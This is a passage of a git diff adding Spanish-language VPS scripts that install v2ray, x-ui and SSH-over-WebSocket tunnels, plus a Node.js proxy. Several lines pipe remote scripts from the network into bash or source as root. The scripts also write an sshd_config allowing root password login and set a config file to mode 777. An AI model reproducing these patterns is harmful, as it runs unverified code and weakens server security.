/usr/share/bash-completion/completions/v2ray + source /usr/share/bash-completion/completions/xray + fi + + #安装V2ray主程序 + [[ ${INSTALL_WAY} == 0 ]] && bash <(curl -L -s https://multi.netlify.app/go.sh) --version v4.45.2 +} + +#时间同步 +timeSync() { + if [[ ${INSTALL_WAY} == 0 ]];then + echo -e "${Info} Sincronizando tiempo!.. ${Font}" + if [[ `command -v ntpdate` ]];then + ntpdate pool.ntp.org + elif [[ `command -v chronyc` ]];then + chronyc -a makestep + fi + + if [[ $? -eq 0 ]];then + echo -e "${OK} Tiempo Sync Exitosamente ${Font}" + echo -e "${OK} Ahora: `date -R`${Font}" + fi + fi +} + +profileInit() { + + #清理v2ray模块环境变量 + [[ $(grep v2ray ~/$ENV_FILE) ]] && sed -i '/v2ray/d' ~/$ENV_FILE && source ~/$ENV_FILE + + #解决Python3中文显示问题 + [[ -z $(grep PYTHONIOENCODING=utf-8 ~/$ENV_FILE) ]] && echo "export PYTHONIOENCODING=utf-8" >> ~/$ENV_FILE && source ~/$ENV_FILE + + #全新安装的新配置 + [[ ${INSTALL_WAY} == 0 ]] && v2ray new || v2ray new + + echo "" +} + +installFinish() { +#if [[ ${INSTALL_WAY} == 0 ]]; then +clear&&clear +#v2ray new +#v2ray info +#echo -e "porfavor dijite 'v2ray' para administrar v2ray\n" +#fi + config='/etc/v2ray/config.json' + tmp='/etc/v2ray/temp.json' + #jq 'del(.inbounds[].streamSettings.kcpSettings[])' < $config >> $tmp + #rm -rf /etc/v2ray/config.json + #jq '.inbounds[].streamSettings += {"network":"ws","wsSettings":{"path": "/ADMcgh/","headers": {"Host": "ejemplo.com"}}}' < $tmp >> $config + chmod 777 $config + msg -bar + if [[ $(v2ray restart|grep success) ]]; then + [[ $(which v2ray) ]] && v2ray info + msg -bar + echo -e "\033[1;32mINSTALACION FINALIZADA" + else + [[ $(which v2ray) ]] && v2ray info + msg -bar + print_center -verm2 "INSTALACION FINALIZADA" + echo -e "\033[1;31m " 'Pero fallo el reinicio del servicio v2ray' + echo -e " LEA DETALLADAMENTE LOS MENSAJES " + echo -e "" + fi + cd ${BEGIN_PATH} + [[ ${INSTALL_WAY} == 0 ]] && WAY="install" || WAY="update" + colorEcho ${GREEN} "multi-v2ray ${WAY} success!\n" + echo -e "Por favor verifique el log" + read -p " presiona enter" + #chekKEY &> /dev/null 2>&1 + #回到原点 +} + + +main() { + + [[ ${HELP} == 1 ]] && help && return + + [[ ${REMOVE} == 1 ]] && colorEcho ${BLUE} " REMOVE BY @drowkid01 " && removeV2Ray && return + + [[ ${INSTALL_WAY} == 0 ]] && colorEcho ${BLUE} " INSTALACION NUEVA NATIVA By @drowkid01\n" + + checkSys + + installDependent + + closeSELinux + + timeSync + + updateProject + + profileInit + + installFinish +} + +main \ No newline at end of file diff --git a/Recursos/menu_inst/v2ray_manager.url.sh b/Recursos/menu_inst/v2ray_manager.url.sh new file mode 100644 index 0000000..68a6bf3 --- /dev/null +++ b/Recursos/menu_inst/v2ray_manager.url.sh @@ -0,0 +1,2 @@ +#!/bin/sh +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/v2ray_manager.sh) \ No newline at end of file diff --git a/Recursos/menu_inst/ws-epro/fake/ws-epro b/Recursos/menu_inst/ws-epro/fake/ws-epro new file mode 100644 index 0000000..6fb2044 Binary files /dev/null and b/Recursos/menu_inst/ws-epro/fake/ws-epro differ diff --git a/Recursos/menu_inst/ws-epro/readme.md b/Recursos/menu_inst/ws-epro/readme.md new file mode 100644 index 0000000..9d2bf3c --- /dev/null +++ b/Recursos/menu_inst/ws-epro/readme.md @@ -0,0 +1,9 @@ +# ws-epro + +

fake:

+0.0.0.0:${portws} 0.0.0.0:${portlocal} + + +

rudi9999

+-f config.yml + diff --git a/Recursos/menu_inst/ws-epro/rudi9999/config.yml b/Recursos/menu_inst/ws-epro/rudi9999/config.yml new file mode 100644 index 0000000..07867bb --- /dev/null +++ b/Recursos/menu_inst/ws-epro/rudi9999/config.yml @@ -0,0 +1,9 @@ +# verbose level 0=info, 1=verbose, 2=very verbose +verbose: 0 +listen: +##openssh +- target_host: 127.0.0.1 +##portopenssh + target_port: 80 +##wsopenssh + listen_port: 88 diff --git a/Recursos/menu_inst/ws-epro/rudi9999/ws-epro b/Recursos/menu_inst/ws-epro/rudi9999/ws-epro new file mode 100644 index 0000000..9c8bc56 Binary files /dev/null and b/Recursos/menu_inst/ws-epro/rudi9999/ws-epro differ diff --git a/Recursos/menu_inst/ws-epro/ws-epro.service b/Recursos/menu_inst/ws-epro/ws-epro.service new file mode 100644 index 0000000..d8340d5 --- /dev/null +++ b/Recursos/menu_inst/ws-epro/ws-epro.service @@ -0,0 +1,15 @@ +[Unit] +Description=Service ws-epro by @Rufu99 +After=network.target nss-lookup.target + +[Service] +User=nobody +CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE +AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE +NoNewPrivileges=true +ExecStart=/bin/ws-epro -f /etc/config.yml +Restart=on-failure +RestartPreventExitStatus=23 + +[Install] +WantedBy=multi-user.target diff --git a/Recursos/menu_inst/ws-java-sh/proxy3.js b/Recursos/menu_inst/ws-java-sh/proxy3.js new file mode 100644 index 0000000..ae26cfe --- /dev/null +++ b/Recursos/menu_inst/ws-java-sh/proxy3.js @@ -0,0 +1,120 @@ +/* +* Proxy Bridge +* Copyright PANCHO7532 - P7COMUnications LLC (c) 2021 +* Dedicated to Emanuel Miranda, for giving me the idea to make this :v +*/ +const net = require('net'); +const stream = require('stream'); +const util = require('util'); +var dhost = "127.0.0.1"; +var dport = "8080"; +var mainPort = "8888"; +var outputFile = "outputFile.txt"; +var packetsToSkip = 0; +var gcwarn = true; +for(c = 0; c < process.argv.length; c++) { + switch(process.argv[c]) { + case "-skip": + packetsToSkip = process.argv[c + 1]; + break; + case "-dhost": + dhost = process.argv[c + 1]; + break; + case "-dport": + dport = process.argv[c + 1]; + break; + case "-mport": + mainPort = process.argv[c + 1]; + break; + case "-o": + outputFile = process.argv[c + 1]; + break; + } +} +function gcollector() { + if(!global.gc && gcwarn) { + console.log("[WARNING] Garbage Collector isn't enabled! Memory leaks may occur."); + gcwarn = false; + return; + } else if(global.gc) { + global.gc(); + return; + } else { + return; + } +} +function parseRemoteAddr(raddr) { + if(raddr.toString().indexOf("ffff") != -1) { + //is IPV4 address + return raddr.substring(7, raddr.length); + } else { + return raddr; + } +} +setInterval(gcollector, 1000); +const server = net.createServer(); +server.on('connection', function(socket) { + var packetCount = 0; + //var handshakeMade = false; + socket.write("HTTP/1.1 101 Switching Protocols\r\nContent-Length: 1048576000000\r\n\r\n", function(err) { + if(err) { + console.log("[SWRITE] Failed to write response to " + socket.remoteAddress + ":" + socket.remotePort + ", error: " + err); + } + }); + console.log("[INFO] Connection received from " + socket.remoteAddress + ":" + socket.remotePort); + var conn = net.createConnection({host: dhost, port: dport}); + socket.on('data', function(data) { + //pipe sucks + if(packetCount < packetsToSkip) { + //console.log("---c1"); + packetCount++; + } else if(packetCount == packetsToSkip) { + //console.log("---c2"); + conn.write(data, function(err) { + if(err) { + console.log("[EWRITE] Failed to write to external socket! - " + err); + } + }); + } + if(packetCount > packetsToSkip) { + //console.log("---c3"); + packetCount = packetsToSkip; + } + //conn.write(data); + }); + conn.on('data', function(data) { + //pipe sucks x2 + socket.write(data, function(err) { + if(err) { + console.log("[SWRITE2] Failed to write response to " + socket.remoteAddress + ":" + socket.remotePort + ", error: " + err); + } + }); + }); + socket.once('data', function(data) { + /* + * Nota para mas tarde, resolver que diferencia hay entre .on y .once + */ + }); + socket.on('error', function(error) { + console.log("[SOCKET] read " + error + " from " + socket.remoteAddress + ":" + socket.remotePort); + conn.destroy(); + }); + conn.on('error', function(error) { + console.log("[REMOTE] read " + error); + socket.destroy(); + }); + socket.on('close', function() { + console.log("[INFO] Connection terminated for " + socket.remoteAddress + ":" + socket.remotePort); + conn.destroy(); + }); +}); +server.on("error", function(error) { + console.log("[SRV] Error " + error + ", this may be unrecoverable"); +}); +server.on("close", function() { + //conection closed idk, maybe i should not capture this +}); +server.listen(mainPort, function(){ + console.log("[INFO] Server started on port: " + mainPort); + console.log("[INFO] Redirecting requests to: " + dhost + " at port " + dport); +}); diff --git a/Recursos/menu_inst/ws-java.sh b/Recursos/menu_inst/ws-java.sh new file mode 100644 index 0000000..b7c1c81 --- /dev/null +++ b/Recursos/menu_inst/ws-java.sh @@ -0,0 +1,421 @@ +#!/bin/bash + +source msg +install_ini () { +clear +msg -bar +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +msg -bar +#dropbear +[[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] || apt-get install dropbear -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install dropbear................ $ESTATUS " +#nodejs +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs.................. $ESTATUS " +#build-essential +[[ $(dpkg --get-selections|grep -w "build-essential"|head -1) ]] || apt-get install build-essential -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "build-essential"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "build-essential"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install build-essential......... $ESTATUS " +#PV +[[ $(dpkg --get-selections|grep -w "pv"|head -1) ]] || apt-get install pv -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "pv"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "pv"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install PV ................... $ESTATUS " +msg -bar +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +msg -bar +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +} + +fun_log () { +[[ -e /bin/ejecutar/sshd_config ]] && { +#### +sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu) +[[ ! $(cat /etc/shells|grep "/bin/false") ]] && echo -e "/bin/false" >> /etc/shells +[[ "$sysvar" != "" ]] && { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} || { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} +} || { +cp /etc/ssh/sshd_config /bin/ejecutar/sshd_config +sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu) +[[ ! $(cat /etc/shells|grep "/bin/false") ]] && { +sed -i "s;/bin/false;;g" /etc/shells +sed -i "s;/usr/sbin/nologin;;g" /etc/shells +echo "/bin/false" >> /etc/shells +echo "/usr/sbin/nologin" >> /etc/shells +} +[[ "$sysvar" != "" ]] && { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} || { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} +} +###################### + +} + +car_cert () { +[[ -e /etc/stunnel/stunnel.pem ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25 +msg -bar +echo -e "Descarga el fichero URL del Certificado SSL " +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online" + echo -e " Si Aun no lo has hecho, Cancela este paso" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar +msg -bar +echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados " +msg -bar +read -p " Pega tu Link : " urlm +wget -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido" +msg -bar +echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m" +msg -bar +unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir " +[[ -e private.key ]] && cat private.key > /etc/stunnel/stunnel.pem && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m" +[[ -e certificate.crt && -e ca_bundle.crt ]] && cat certificate.crt ca_bundle.crt >> /etc/stunnel/stunnel.pem && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m" +rm -f private.key certificate.crt ca_bundle.crt certificados.zip 1> /dev/null 2> /dev/null && cd $HOME +unset porta1 +if [[ -z $porta1 ]]; then + porta1="443" +fi +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " $(source trans -b pt:${id} "Ingresa Puerto SSL a USAR ( Defauld 443 ) ") " + read -p " Listen-Dropbear: " porta1 + [[ $(mportas|grep $porta1) ]] || break + echo -e "\033[1;33m $(source trans -b es:${id} "El puerto seleccionado ya se encuentra en uso")" + unset porta1 + msg -bar + return 0 + done +unset porta1ws +msg -bar +echo -e "\033[1;33m $(source trans -b pt:${id} "Instalando SSL/TLS : ")$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +fun_bar "apt install stunnel4 -y" +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[WS]\nconnect = 127.0.0.1:80\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +msg -bar +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m $(source trans -b pt:${id} "INSTALACION EXITOSA")" +msg -bar +} + +insta_ser () { +#sudo apt install dropbear squid stunnel cmake make gcc build-essential nodejs +#nano /etc/default/dropbear +unset porta1 +if [[ -z $porta1 ]]; then + porta1="143" +fi +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " $(source trans -b pt:${id} "Ingresa Puerto Dropbear/SSH a USAR ( Defauld 143 ) ") " + read -p " Listen-Dropbear: " porta1 + [[ $(mportas|grep $porta1) ]] || break + echo -e "\033[1;33m $(source trans -b es:${id} "El puerto seleccionado ya se encuentra en uso")" + unset porta1 + msg -bar + return 0 + done +unset porta1ws +if [[ -z $porta1ws ]]; then + porta1ws="80" +fi +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " $(source trans -b pt:${id} "Ingrese Puerto WebSocket ( Default 80 ) ") " + read -p " Listen-WS: " porta1ws + if lsof -Pi :$porta1ws -sTCP:LISTEN -t >/dev/null ; then + echo -e "\033[1;33m $(source trans -b es:${id} "El puerto seleccionado ya se encuentra en uso")" + unset porta1ws + msg -bar + return 0 + else + break + fi + done +msg -bar +service dropbear stop 1> /dev/null 2> /dev/null +rm -rf /etc/default/dropbear +echo -e "Habilitando Entrada Dropbear" | pv -qL 30 +fun_log +echo -e "NO_START=0" > /etc/default/dropbear && echo -e "\033[1;33mExito" || echo -e "\033[0;31mFail" +echo -e "Habilitando Puerto $porta1 Dropbear" | pv -qL 30 +# +echo $porta1 > /etc/default/dadd +echo -e 'DROPBEAR_EXTRA_ARGS="-p '$porta1'"' >> /etc/default/dropbear && echo -e "\033[1;33mExito" || echo -e "\033[0;31mFail" +echo -e "\033[1;32mHabilitando BannerSSH DropBear" | pv -qL 30 +# +echo -e 'DROPBEAR_BANNER="/etc/bannerssh"' >> /etc/default/dropbear && touch /etc/bannerssh || echo -e "\033[0;31mFail" +echo -e "DROPBEAR_RECEIVE_WINDOW=65536" >> /etc/default/dropbear +echo "/bin/false" >> /etc/shells +echo "/usr/sbin/nologin" >> /etc/shells +service dropbear restart 1> /dev/null 2> /dev/null && echo -e "\033[1;32mReiniciando DropBear Exitosamente" | pv -qL 30 || echo -e "\033[1;32mError al Reiniciar DropBear" | pv -qL 30 +service sshd restart 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /etc/adm-lite/dropbearports.txt && cat /etc/adm-lite/dropbearports.txt`; +echo -e "\033[1;31m › DROPBEAR ESCUCHA \033[0m" $porta1 " ESCOJIDO " $porta1 +msg -bar +echo -e "Creando Directorios" | pv -qL 30 +# +[[ -d /bin/ejecutar ]] && rm -f /bin/ejecutar/proxy3.js || mkdir /bin/ejecutar +cd /bin/ejecutar +echo -e "Descargando Ficheros JS" | pv -qL 30 +wget -q https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/ws-java-sh/proxy3.js +echo -e "\033[1;32mHabilitando NODE WS" | pv -qL 30 +# +echo -e "Iniciando NODE WS" | pv -qL 30 +# +screen -dmS ws node /bin/ejecutar/proxy3.js -dport $porta1 -mport $porta1ws +cd $HOME +echo -e "Mostrando Status NODE WS\n ----------- Presiona CNTRL + X para Salir ------------" +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31m USA este Payload " + echo -e " En el Menu de Seleccion.\033[0m" + msg -bar +echo ' GET / HTTP/1.1[crlf]Host: yourhost.com[crlf] + Connection: Upgrade[crlf]User-Agent: [ua][crlf] + Upgrade: websocket[crlf][crlf] ' +msg -bar +#read -p "Presiona Enter para Continuar" +# +#[[ -e /etc/systemd/system/nodews1.service ]] && systemctl status nodews1 || echo -e "Error al Iniciar NODE WS" | pv -qL 15 +msg -bar +echo -e "\033[1;33m › INSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} + +insta_https () { +unset porta1 +sslports=`netstat -tunlp | grep stunnel4 | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /etc/adm-lite/sslports.txt && cat /etc/adm-lite/sslports.txt`; +PORT=$(cat /etc/adm-lite/sslports.txt | sed 's/\s\+/,/g' | cut -d , -f1) +echo -e " Ingrese Puerto SSL/SSH/Dropbear Activo" +read -p " Para Redireccionamiento ( Default $PORT ): " porta1 +if [[ -z $porta1 ]]; then + porta1="$PORT" + echo -e "\033[1;31m › SSL ESCUCHA \033[0m $PORT " +fi +echo -e "\033[1;31m › Puerta Seleccionada \033[0m $porta1 " +unset porta1ws +#read -p "Ingrese Puerto WebSocket SSL ( Default 2083 ): " porta1ws +if [[ -z $porta1ws ]]; then + porta1ws="2083" +fi +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " $(source trans -b pt:${id} "Ingrese Puerto WebSocket ( Default 80 ) ") " + read -p " Listen-WS: " porta1ws + [[ $(mportas|grep $porta1ws) ]] || break + echo -e "\033[1;33m $(source trans -b es:${id} "El puerto seleccionado ya se encuentra en uso")" + unset porta1ws + msg -bar + return 0 + done +msg -bar +if lsof -Pi :$porta1ws -sTCP:LISTEN -t >/dev/null ; then +echo "Ya esta en uso ese puerto" +exit +else +echo -e "Creando Directorios" | pv -qL 15 +# +[[ -d /bin/ejecutar ]] && echo "Fichero Existente" || mkdir /bin/ejecutar +cd /bin/ejecutar +echo -e "Descargando Ficheros JS" | pv -qL 15 +wget -O httpsProxy.js -q https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/ws-java-sh/proxy3.js +echo -e "\033[1;32mHabilitando NODE WS" | pv -qL 15 +# +echo -e "Iniciando NODE WS" | pv -qL 15 +# +screen -dmS httpsws node /bin/ejecutar/httpsProxy.js -dport $porta1 -mport $porta1ws +cd $HOME +echo -e "Mostrando Status NODE WS\n ----------- Presiona CNTRL + X para Salir ------------" +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31m USA este Payload " + echo -e " En el Menu de Seleccion.\033[0m" + msg -bar +echo ' GET / HTTP/1.1[crlf]Host: yourhost.com[crlf] + Connection: Upgrade[crlf]User-Agent: [ua][crlf] + Upgrade: websocket[crlf][crlf] ' +msg -bar +#read -p "Presiona Enter para Continuar" +# +#[[ -e /etc/systemd/system/nodews1.service ]] && systemctl status nodews1 || echo -e "Error al Iniciar NODE WS" | pv -qL 15 +msg -bar +echo -e "\033[1;33m › INSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +fi +} + + +stop_ser () { +killall node +} + + +unset inst +clear +echo -e "\033[1;42mBIENVENIDO NUEVAMENTE!\033[0m" +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mRecomendado UBUNTU 20.04" + echo -e " Si Aun no lo has hecho, Dijita SI o s" + echo -e " Para Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar +echo -e "Menu de instalacion de Paquetes Necesarios " +echo -ne "\033[97m Deseas Instalar los Paquetes Requeridos [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +clear +source cabecalho +msg -bar +echo -e " \033[1;42mBIENVENIDO NUEVAMENTE!\033[0m" +msg -bar +echo -e " SSH OVER WEBSOCKET CDN " +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m INICIAR WEBSOCKET CDN (HTTP) DROPBEAR" +echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m INICIAR WEBSOCKET CDN (HTTPS) SSL/SSH" +echo -e "\033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m<\033[0;33m DETENER TODOS WEBSOCKET CDN" +msg -bar +echo -e "\033[0;35m[\033[0;36m0\033[0;35m] \033[0;34m<\033[0;33m SALIR" +unset inst +msg -bar +echo -ne "\033[97m ESCOJE [ 1 / 2 ]: " +read inst +[[ $inst = "1" ]] && insta_ser +[[ $inst = "2" ]] && insta_https +[[ $inst = "3" ]] && stop_ser +[[ $inst = "0" ]] && menu +#[[ $inst = @("1"|"01") ]] && insta_ser +echo "Instalacion Concluida con Exito" diff --git a/Recursos/menu_inst/x-ui.sh b/Recursos/menu_inst/x-ui.sh new file mode 100644 index 0000000..c5480f7 --- /dev/null +++ b/Recursos/menu_inst/x-ui.sh @@ -0,0 +1,500 @@ +#!/bin/bash + +red='\033[0;31m' +green='\033[0;32m' +yellow='\033[0;33m' +plain='\033[0m' + +# check root +[[ $EUID -ne 0 ]] && echo -e "${red}Error: ${plain}¡Debe utilizar el usuario root para ejecutar este script!\n" && exit 1 + +# check os +if [[ -f /etc/redhat-release ]]; then + release="centos" +elif cat /etc/issue | grep -Eqi "debian"; then + release="debian" +elif cat /etc/issue | grep -Eqi "ubuntu"; then + release="ubuntu" +elif cat /etc/issue | grep -Eqi "centos|red hat|redhat"; then + release="centos" +elif cat /proc/version | grep -Eqi "debian"; then + release="debian" +elif cat /proc/version | grep -Eqi "ubuntu"; then + release="ubuntu" +elif cat /proc/version | grep -Eqi "centos|red hat|redhat"; then + release="centos" +else + echo -e "${red} No se detecta la versión del sistema, póngase en contacto con el autor del script.${plain}\n" && exit 1 +fi + +os_version="" + +# os version +if [[ -f /etc/os-release ]]; then + os_version=$(awk -F'[= ."]' '/VERSION_ID/{print $3}' /etc/os-release) +fi +if [[ -z "$os_version" && -f /etc/lsb-release ]]; then + os_version=$(awk -F'[= ."]+' '/DISTRIB_RELEASE/{print $2}' /etc/lsb-release) +fi + +if [[ x"${release}" == x"centos" ]]; then + if [[ ${os_version} -le 6 ]]; then + echo -e "${red}Por Favor Use - CentOS 7 o sistema superior!${plain}\n" && exit 1 + fi +elif [[ x"${release}" == x"ubuntu" ]]; then + if [[ ${os_version} -lt 16 ]]; then + echo -e "${red}¡Utilice Ubuntu 16 o una versión superior del sistema!${plain}\n" && exit 1 + fi +elif [[ x"${release}" == x"debian" ]]; then + if [[ ${os_version} -lt 8 ]]; then + echo -e "${red}¡Utilice Debian 8 o un sistema de versión superior!${plain}\n" && exit 1 + fi +fi + +confirm() { + if [[ $# > 1 ]]; then + echo && read -p "$1 [Defauld$2]: " temp + if [[ "${temp}" == "" ]]; then + temp=$2 + fi + else + read -p "$1 [y/n]: " temp + fi + if [[ "${temp}" == "y" || "${temp}" == "Y" ]]; then + return 0 + else + return 1 + fi +} + +confirm_restart() { + confirm "Ya sea para reiniciar el panel, reiniciar el panel también reiniciará xray" "y" + if [[ $? == 0 ]]; then + restart + else + show_menu + fi +} + +before_show_menu() { + echo && echo -n -e "${yellow}Presione enter para regresar al menú principal: ${plain}" && read temp + show_menu +} + +install() { + bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh) + if [[ $? == 0 ]]; then + if [[ $# == 0 ]]; then + start + else + start 0 + fi + fi +} + +update() { + confirm "Esta función reinstalará a la fuerza la última versión actual y los datos no se perderán. ¿Desea continuar?" "n" + if [[ $? != 0 ]]; then + echo -e "${red}Cancelado${plain}" + if [[ $# == 0 ]]; then + before_show_menu + fi + return 0 + fi + bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh) + if [[ $? == 0 ]]; then + echo -e "${green}La actualización está completa y el panel se ha reiniciado automáticamente${plain}" + exit 0 + fi +} + +uninstall() { + confirm "¿Está seguro de que desea desinstalar el panel, xray también lo desinstalará? " "n" + if [[ $? != 0 ]]; then + if [[ $# == 0 ]]; then + show_menu + fi + return 0 + fi + systemctl stop x-ui + systemctl disable x-ui + rm /etc/systemd/system/x-ui.service -f + systemctl daemon-reload + systemctl reset-failed + rm /etc/x-ui/ -rf + rm /usr/local/x-ui/ -rf + rm /usr/bin/x-ui -f + echo "" + echo -e "La desinstalación se realizó correctamente. Si desea eliminar esta secuencia de comandos, salga de la secuencia de comandos y ejecute ${green}rm /usr/bin/x-ui -f${plain}Borrar" + echo "" + + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +reset_user() { + confirm "¿Está seguro de que desea restablecer el nombre de usuario y la contraseña a admin " "n" + if [[ $? != 0 ]]; then + if [[ $# == 0 ]]; then + show_menu + fi + return 0 + fi + 